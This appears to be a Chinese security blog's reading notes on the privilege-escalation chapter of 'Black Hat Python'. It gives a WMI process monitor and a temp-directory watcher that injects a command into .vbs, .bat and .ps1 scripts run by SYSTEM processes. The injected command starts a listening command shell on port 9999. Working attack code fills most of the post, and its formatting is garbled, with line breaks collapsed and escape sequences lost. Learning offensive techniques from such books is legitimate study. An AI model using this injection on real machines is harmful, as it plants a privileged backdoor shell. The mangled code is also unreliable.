Windows提权

admin 2022年6月13日16:14:45评论33 views1字数 4491阅读14分58秒阅读模式



Windows提权


前言

《Python黑帽子:黑客与渗透测试编程之道》的读书笔记,会包括书中源码,并自己将其中一些改写成Python3版本。书是比较老了,anyway,还是本很好的书


本篇是第10章Windows提权,主要是做一个进程监视器,然后拦截高权限进程并插入脚本

1、进程监视器

利用WMI的API可以监控系统事件


Windows的一些令牌权限

  • SeBackupPrivilege:使得用户进程可以备份文件和目录,读取任何文件而无需关注访问控制列表(ACL)

  • SeDebugPrivilege:使得用户进程可以调试其他进程

  • SeLoadDriver:使得用户进程可以加载或卸载驱动

#!usr/bin/env python#-*- coding:utf8 -*-  
import win32conimport win32apiimport win32security
import wmiimport sysimport os
def get_process_privileges(pid): try: # 通过pid获取目标进程句柄 hproc = win32api.OpenProcess(win32con.PROCESS_QUERY_INFORMATION, False, pid)
# 打开主进程的令牌 htok = win32security.OpenProcessToken(hproc, win32con.TOKEN_QUERY)
# 解析已启用的权限列表,获得令牌信息 privs = win32security.GetTokenInformation(htok, win32security.TokenPrivileges)
# 迭代每个权限并输出其中已经启用的 # i[0]:具体权限 # i[1]:该权限是否启用 priv_list = "" for i in privs: # 检测权限是否已经启用 if i[1] == 3: # 获取并连接权限的名称 priv_list += "%s|" % win32security.LookupPrivilegeName(None, i[0]) except: priv_list = "N/A"
return priv_list

# 保存数据到文件中def log_to_file(message): fd = open("process_monitor_log.csv", "ab") fd.write("%srn" % message) fd.close() return
# 创建一个日志文件的头log_to_file("Time,User,Executable,CommandLine,PID,Parent PID,Privileges")
# 初始化WMI接口c = wmi.WMI()
# 创建进程监控器(监控进程创建)process_watcher = c.Win32_Process.watch_for("creation")
while True: try: # 有创建进程事件会返回 new_process = process_watcher()
proc_owner = new_process.GetOwner() # for i in proc_owner: # print i proc_owner = "%s\%s" % (proc_owner[0], proc_owner[2]) # 时间 create_data = new_process.CreationDate # 路径 executable = new_process.ExecutablePath # 命令行(就是实际的命令是什么) cmdline = new_process.CommandLine pid = new_process.ProcessId parent_pid = new_process.ParentProcessId
# N/A:不可用的意思 # privileges = "N/A" privileges = get_process_privileges(pid)
process_log_message = "%s,%s,%s,%s,%s,%s,%srn" % (create_data, proc_owner, executable, cmdline, pid, parent_pid, privileges)
print process_log_message
log_to_file(process_log_message)
except:        pass

2、赢得竞争

运行上面的监视器,可能看到类似下面这种记录

Windows提权
cscript.exe以SYSTEM权限运行

为了能利用权限,必须在和目标程序执行脚本的竞争中占先

#!usr/bin/env python#-*- coding:utf8 -*-  
import tempfileimport threadingimport win32fileimport win32conimport os
# 这些是典型的临时文件所在路径,就是我们监控的目录dirs_to_monitor = ["C:\WINDOWS\Temp",tempfile.gettempdir()]
# 文件修改行为对应常量FILE_CREATE = 1FILE_DELETE = 2FILE_MODIFIED = 3FILE_RENAMED_FROM = 4FILE_RENAMED_TO = 5
# 定义匹配特定文件扩展名的字典file_types = {}
command = "python C:\WINDOWS\TEMP\bhpnet.py –l –p 9999 –c"# 每段扩展名对应一个特定的标签及我们想要插入的一段脚本file_types['.vbs'] = ["rn'bhpmarkerrn","rnCreateObject("Wscript.Shell").Run("%s")rn" % command]file_types['.bat'] = ["rnREM bhpmarkerrn","rn%srn" % command]file_types['.ps1'] = ["rn#bhpmarker","Start-Process "%s"" % command]
# 用于执行代码插入的函数def inject_code(full_filename, extension, contents): # 判断文件是否存在标记 if file_types[extension][0] in contents: return
# 如果没有标记的话,那么插入代码并标记 full_contents = file_types[extension][0] full_contents += file_types[extension][1] full_contents += contents
fd = open(full_filename, "wb") fd.write(full_contents) fd.close()
print "[o/] Injected code"
return
# 为每个监控器起一个线程def start_monitor(path_to_watch):
# 访问模式 FILE_LIST_DIRECTORY = 0x0001
# 获取文件目录句柄 h_directory = win32file.CreateFile( path_to_watch, FILE_LIST_DIRECTORY, win32con.FILE_SHARE_READ |win32con.FILE_SHARE_WRITE | win32con.FILE_SHARE_DELETE, None, win32con.OPEN_EXISTING, win32con.FILE_FLAG_BACKUP_SEMANTICS, None )
while 1: try: # 这函数会在目录结构改变时通知我们 results = win32file.ReadDirectoryChangesW( h_directory, 1024, True, win32con.FILE_NOTIFY_CHANGE_FILE_NAME | win32con.FILE_NOTIFY_CHANGE_DIR_NAME | win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES | win32con.FILE_NOTIFY_CHANGE_SIZE | win32con.FILE_NOTIFY_CHANGE_LAST_WRITE | win32con.FILE_NOTIFY_CHANGE_SECURITY, None, None )
# 我们可以获得发送了何种改变,以及目标文件的名称 for action,file_name in results: full_filename = os.path.join(path_to_watch, file_name)
if action == FILE_CREATE: print "[ + ] Created %s" % full_filename elif action == FILE_DELETE: print "[ - ] Deleted %s" % full_filename elif action == FILE_MODIFIED: print "[ * ] Modified %s" % full_filename # 输出文件内容 print "[vvv] Dumping contents..." try: # 打开文件读数据 fd = open(full_filename, "rb") contents = fd.read() fd.close() print contents print "[^^^] Dump complete." except: print "[!!!] Failed."
# 文件和文件扩展名分离 filename, extension = os.path.splitext(full_filename) if extension in file_types: inject_code(full_filename, extension, contents)
# 重命名哪个文件 elif action == FILE_RENAMED_FROM: print "[ > ] Renamed from: %s" % full_filename # 重命名后的文件名是? elif action == FILE_RENAMED_TO: print "[ < ] Renamed to: %s" % full_filename else: print "[???] Unknown: %s" % full_filename except: pass

for path in dirs_to_monitor: monitor_thread = threading.Thread(target=start_monitor,args=(path,)) print "Spawning monitoring thread for path: %s" % path    monitor_thread.start()

结语

主要是监视进程,拦截并竞争





红客突击队于2019年由队长k龙牵头,联合国内多位顶尖高校研究生成立。其团队从成立至今多次参加国际网络安全竞赛并取得良好成绩,积累了丰富的竞赛经验。团队现有三十多位正式成员及若干预备人员,下属联合分队数支。红客突击队始终秉承先做人后技术的宗旨,旨在打造国际顶尖网络安全团队。

原文始发于微信公众号(红客突击队):Windows提权

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月13日16:14:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Windows提权http://cn-sec.com/archives/1112051.html

发表评论

匿名网友 填写信息